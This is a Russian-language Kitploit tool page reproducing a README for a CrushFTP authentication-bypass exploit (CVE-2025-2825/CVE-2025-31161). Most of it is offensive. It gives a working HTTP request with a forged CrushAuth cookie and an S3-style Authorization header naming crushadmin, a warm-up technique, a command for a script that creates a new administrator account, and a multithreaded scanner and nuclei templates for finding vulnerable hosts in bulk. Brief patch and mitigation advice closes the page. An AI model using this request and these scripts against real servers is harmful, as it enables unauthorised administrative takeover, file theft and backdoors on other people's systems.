Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-2825 — Детальный анализ и PoC-эксплойт для CVE-2025-2825, обход аутентификации в CrushFTP. Включает nuclei-шаблоны, многопоточный сканер и скрипт создания пользователя для тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/iteride/cve-2025-2825
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubiteride/cve-2025-2825

CVE-2025-2825

Детальный анализ и PoC-эксплойт для CVE-2025-2825, обход аутентификации в CrushFTP. Включает nuclei-шаблоны, многопоточный сканер и скрипт создания пользователя для тестирования на проникновение.

Репозиторий
111 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-2825/CVE-2025-31161

Введение

В данном документе представлено исследование уязвимости CVE-2025-2825, затрагивающей серверную часть CrushFTP — коммерческого решения для организации передачи и хранения файлов (FTP, SFTP, HTTP/S, S3-подобные интерфейсы и др.).

Дефект классифицируется как authentication bypass, позволяющий удалённому неаутентифицированному злоумышленнику получить права администратора. Успешная эксплуатация даёт доступ с привилегиями crushadmin, просмотр и изменение файлов, управление учётными записями и выполнение административных операций через веб-интерфейс и API CrushFTP.

Сообщаемые затронутые версии (по публичным advisories и отчётам исследователей):

  • CrushFTP 10.0.0 — 10.8.3
  • CrushFTP 11.0.0 — 11.3.0

⚠️ Примечание: в части публикаций встречаются дубликаты и пересечения идентификаторов CVE (например, CVE-2025-31161).


Цель отчёта

Пошагово разобрать уязвимость и продемонстрировать полный цикл исследования, включающий:

  1. Сбор и анализ материалов — систематизация advisories, PoC, технических разборов и публикаций по CVE-2025-2825; формулировка сути дефекта и его импакта.
  2. Определение CPE и условий — список релевантных CPE/версий и конфигураций, при которых уязвимость воспроизводится (веб-интерфейсы, S3-совместимые endpoints и пр.).
  3. Разработка PoC/Exploit — подготовка воспроизводимого PoC на контролируемом стенде; описание архитектуры и мер по минимизации вреда.
  4. Методы массовой проверки — три подхода к безопасному поиску уязвимых хостов:
    • активный скан nuclei;
    • пассивный nuclei (по версиям и косвенным признакам без эксплуатации);
    • собственный скрипт (Python/Go) для контролируемой проверки.
  5. Рекомендации и смягчение — практические советы по обнаружению, патчингу и защите инстансов.
  6. Безопасная практика тестирования — чек-листы для проведения тестов только в разрешённых средах.

Практический импакт

По публичным отчётам уязвимость имеет критический риск:

  • Эксплуатация даёт административный доступ к инстансу CrushFTP.
  • Последствия: кража/изменение файлов, создание/удаление пользователей, установка бэкдоров, использование сервера для дальнейших атак.
  • CVSS оценивается как критический (около 9.8).
  • В сообществе зафиксированы PoC и признаки эксплуатации «в дикой природе».

Целевые CPE / конфигурации

Критичны инстансы с такими признаками:

  • Продукт: CrushFTP (любая редакция с веб-интерфейсом).
  • Версии: 10.0.0 — 10.8.3, 11.0.0 — 11.3.0.
  • Конфигурации повышенного риска:
    • Включён публичный веб-административный интерфейс (HTTP/S).
    • Активированы S3-совместимые API endpoints.
    • Нет дополнительных мер защиты (IP-фильтрация, 2FA).
    • Ошибочные настройки прокси/балансировщиков, делающие внутренние эндпоинты доступными извне.

Понимание уязвимости

CrushFTP реализует поддержку S3-подобного API. Для аутентификации используется заголовок Authorization вида:

root@kitploit:~
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

Сервер извлекает AccessKey из Credential и должен проверить подпись. Однако в коде была допущена ошибка при работе с флагом lookup_user_pass

  • Уязвимый код (упрощённый фрагмент):
root@kitploit:~
// ServerSessionHTTP.java, метод loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
    this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
    
    boolean lookup_user_pass = true;   // ← критическая ошибка
    
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    if (this.thisSession.login_user_pass(
            lookup_user_pass,
            false,
            user_name,
            lookup_user_pass ? "" : user_pass)) {
        // Успешная аутентификация
    }
}
  • Дальнейшая логика:

Флаг lookup_user_pass напрямую передаётся как anyPass:

root@kitploit:~
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
    return user;  // аутентификация без проверки пароля
}

Таким образом:

  • Если имя пользователя указано без символа ~, флаг остаётся true.

  • Верификация пароля не выполняется.

  • Злоумышленник может пройти аутентификацию, указав только существующее имя пользователя (например, crushadmin).

  • Вместе с формально валидной кукой CrushAuth и параметром c2f это позволяет обойти аутентификацию и получить административный доступ.

Исправление

В версии 11.3.1 и новее разработчики:

  • Добавили параметр s3_auth_lookup_password_supported (по умолчанию false), блокирующий уязвимый сценарий.

  • Ввели ранние проверки имени пользователя с ~.

  • Разделили логику флагов, устранив подмену lookup_user_pass → anyPass.

  • Рекомендация: немедленно обновить CrushFTP до 11.3.1+ либо применить workaround с выключенным s3_auth_lookup_password_supported.

POC/Exploit

Эксплуатация CVE-2025-2825 достаточно проста и не требует сложной подготовки. Атакующему достаточно отправить специально оформленный HTTP-запрос, в котором присутствуют два ключевых элемента:

  • Заголовок Authorization в формате AWS S3, содержащий корректное имя существующего пользователя (поле Credential с AccessKey/username).
  • Cookie CrushAuth в ожидаемом формате и параметр c2f в URL/теле запроса, значения которых логически соответствуют (формат cookie должен соответствовать ожидаемой сервером структуре).

Если сервер уязвим (версия из диапазона 10.0.0—10.8.3 или 11.0.0—11.3.0 и не применён исправляющий патч), такая комбинация заставляет обработчик аутентификации пойти по уязвимому пути, где флаг поиска пароля (lookup_user_pass) интерпретируется как «любой пароль допустим», и пользователь аутентифицируется по одному только имени без проверки пароля.

Важное замечание:

Эксплуатация этой уязвимости, как правило, требует отправки двух последовательных запросов. Первый, так называемый «прогревочный» (warm-up) запрос, запускает уязвимый процесс аутентификации на сервере. Характерным признаком того, что сервер вошел в нужное состояние, является получение в ответ ошибки 502 Bad Gateway или простое истечение времени ожидания (timeout). Сразу после этого отправляется второй, основной запрос, который и выполняет полезное действие (например, создание пользователя), пока сервер находится в уязвимом для атаки состоянии.

root@kitploit:~
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Для теста я взял вышедшую недавно лабораторию на HTB — Soulmate, где как раз требуется эксплуатация CrushFTP.

crush

Дальнейшее продвижение:

Благодаря этой узвимости,можно добавить нового пользователся с правами админа,с помощью команды setUserItem.Для этого запустите new_user.py

root@kitploit:~
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide

Почему это работает

  1. Парсинг заголовка Authorization: Когда сервер видит заголовок авторизации в S3-подобном формате (AWS4-HMAC...), он извлекает из поля Credential идентификатор клиента (AccessKey / username). На этом этапе сервер получает строку, которую считает именем пользователя — это идентификационное значение, используемое дальше в логике аутентификации.

  2. Флаг lookup_user_pass и его роль:

В коде есть булев флаг lookup_user_pass, который должен указывать, откуда брать пароль при проверке:

  • В нормальном сценарии флаг помогает решить: использовать ли пароль, переданный в запросе, или подтянуть пароль из хранилища пользователей;

  • Однако из-за ошибки реализации этот же флаг передаётся дальше в проверочную функцию и там трактуется иначе — как сигнал, позволяющий пропустить проверку пароля (по сути: «anyPass»).

  1. Передача флага по цепочке вызовов: Примерный путь: ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...). На входе флаг задаёт поведение, а в verify_user он приводит к раннему возврату найденного объекта пользователя без сравнения пароля, если имя совпадает. Это и даёт обход проверки аутентификации — сервер «узнаёт» пользователя по имени и считает его аутентифицированным.

  2. Сопутствующие элементы (cookie / c2f): В публичных разборках указывалось, что обработчик ожидает корректный формат cookie/параметров с целью сопоставления запроса с сессией/контекcтом. Однако ключевой дефект именно в логической ошибке обработки lookup_user_pass; другие элементы лишь помогают запросу пройти стандартные ветви обработки.

Ключевая причина

  • Перегрузка смысла флага: флаг, который должен решать «откуда брать пароль», оказался использован как «разрешить любой пароль». Это сочетание с упрощённым парсингом Credential и приводило к тому, что наличие корректного имени пользователя было достаточным для получения учётных данных пользователя без проверки пароля.

Nuclei шаблон

  • Пассивный шаблон:

    Так как определение точной версии Crushftp в большинстве веб сервисов невозможно,то этот шаблон просто проверяет использует ли сервис Crushftp.

    Лучше всего использовать в связке с активным шаблоном passive_nuclei

  • Активный шаблон:

    Активный шаблон проверяет,возможна ли команда getUserList.

    active_nuclei

  • Многопоточный скрипт

    Скрипт работает примерно также как и активный шаблон,только намного быстрее и поддерживает возможность проверки сразу нескольких хостов

    root@kitploit:~
    python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin
    

    scan


Рекомендации по устранению и защите

Для снижения рисков, связанных с CVE-2025-31161, рекомендуется предпринять следующие шаги :

  1. Немедленное обновление:

    • Обновить все экземпляры CrushFTP до версии 11.3.1 или новее. Это наиболее надежный способ полного устранения уязвимости.
  2. Применение Workaround (если обновление невозможно):

    • В конфигурации сервера установить параметр s3_auth_lookup_password_supported в значение false. Это отключит уязвимую логику аутентификации без обновления всего продукта.
  3. Меры компенсации рисков:

    • Ограничить доступ: Использовать брандмауэр или обратный прокси (NGINX, Caddy) для ограничения доступа к веб-интерфейсу CrushFTP только с доверенных IP-адресов (например, из корпоративной сети или VPN).
    • Мониторинг логов: Регулярно анализировать логи доступа CrushFTP на предмет подозрительных запросов, содержащих AWS4-HMAC-SHA256 в заголовке Authorization, особенно если вы не используете S3-интеграцию.
    • Использовать Web Application Firewall (WAF): Настроить WAF для блокировки запросов, содержащих аномальные Authorization заголовки к эндпоинтам, не предназначенным для S3 API.

Скачать инструмент